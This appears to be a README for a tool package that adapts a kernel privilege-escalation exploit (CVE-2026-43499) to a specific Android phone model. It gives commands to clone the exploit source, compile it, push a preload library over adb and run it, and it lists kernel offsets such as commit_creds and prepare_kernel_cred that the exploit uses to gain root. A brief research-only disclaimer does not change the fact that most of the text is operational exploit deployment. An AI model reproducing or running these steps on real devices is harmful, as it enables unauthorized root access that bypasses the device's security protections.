## Features

โœ“ **20 verified kernel offsets** extracted from vmlinux  
โœ“ **Real-time logging** with O_SYNC + fsync for kernel panic safety  
โœ“ **Device-specific configuration** for RMX3888  
โœ“ **One-click compilation script** with NDK auto-detection  
โœ“ **Comprehensive documentation** with build guides  

## Files Included

### Configuration Files
- 	arget.h - Device-specific kernel offsets (20 verified offsets)
- common.h - Build configuration with logging integration
- 
ealtime_log.h - Real-time logging implementation

### Documentation
- BUILD_GUIDE.md - Complete compilation guide
- 
eport.md - Detailed analysis report (Round 1)
- 
ound2_report.md - Configuration report (Round 2)
- ROUND2_STATUS.md - Execution status summary
- compile_status.json - Machine-readable build status

### Scripts
- compile_rmx3888.sh - One-click compilation script

## Quick Start

### Prerequisites
- Android NDK r26d or later
- Linux/WSL or Termux environment
- CVE-2026-43499 exploit source code

### Compilation

`ash
# 1. Clone the CVE-2026-43499 exploit repository
git clone https://github.com/NebuSec/CyberMeowfia.git
cd CyberMeowfia/IonStack/CVE-2026-43499/exploit

# 2. Copy configuration files
cp /path/to/this/repo/* src/targets/rmx3888-BP2A.250605.015/
cp /path/to/this/repo/realtime_log.h src/
cp /path/to/this/repo/compile_rmx3888.sh .

# 3. Set up Android NDK
export ANDROID_NDK_HOME=/path/to/android-ndk-r26d

# 4. Compile
chmod +x compile_rmx3888.sh
./compile_rmx3888.sh
`

### Usage

`ash
# Push to device
adb push build/rmx3888-BP2A.250605.015/bin/preload.so /data/local/tmp/

# Set permissions
adb shell chmod 755 /data/local/tmp/preload.so

# Execute exploit
adb shell LD_PRELOAD=/data/local/tmp/preload.so id

# Check logs
adb shell cat /sdcard/Download/log_*.txt
`

## Key Offsets

All offsets are verified and extracted from kernel 6.1.141:

`c
#define KIMAGE_TEXT_BASE        0xffffffc008000000ULL
#define INIT_TASK_OFF           0x0202fc00ULL
#define SECURITY_HOOK_HEADS_OFF 0x015c1488ULL
#define ASHMEM_FOPS_OFF         0x0126bbe0ULL
#define COMMIT_CREDS            0xffffffc0081e9b60 (offset: 0x001e9b60)
#define PREPARE_KERNEL_CRED     0xffffffc0081e9df0 (offset: 0x001e9df0)
// ... 15 more verified offsets
`

## Logging Features

The integrated real-time logging module provides:

- **Primary log path**: /sdcard/Download/log_.txt
- **Fallback path**: /data/local/tmp/log_.txt
- **Kernel panic safe**: Uses O_SYNC + fsync() for immediate disk write
- **Timestamped entries**: All log entries include precise timestamps
- **stderr mirror**: Logs also output to stderr for adb logcat

## Expected Results

## Troubleshooting

See BUILD_GUIDE.md for detailed troubleshooting instructions including:
- Compilation errors
- Runtime crashes
- KASLR bypass issues
- SELinux policy blocks

## Security Notice

โš ๏ธ **WARNING**: This configuration is for authorized security research only.

- Use only on devices you own
- Do not distribute compiled binaries without authorization
- Respect responsible disclosure practices
- Log files may contain sensitive system information

## Technical Details

### Extraction Process
1. Boot.img unpacked using Android Boot Image v4 parser
2. vmlinux extracted using vmlinux-to-elf (102,871 symbols)
3. 99,580 valid symbols parsed and analyzed
4. 20 critical offsets cross-validated
5. Offset verification through symbol address consistency checks

### Offset Verification
- Kernel base address confirmed: 0xffffffc008000000
- All symbol addresses validated against memory layout
- Cross-referenced with reference device (Google Pixel tokay)
- 100% extraction success rate (20/20 offsets)
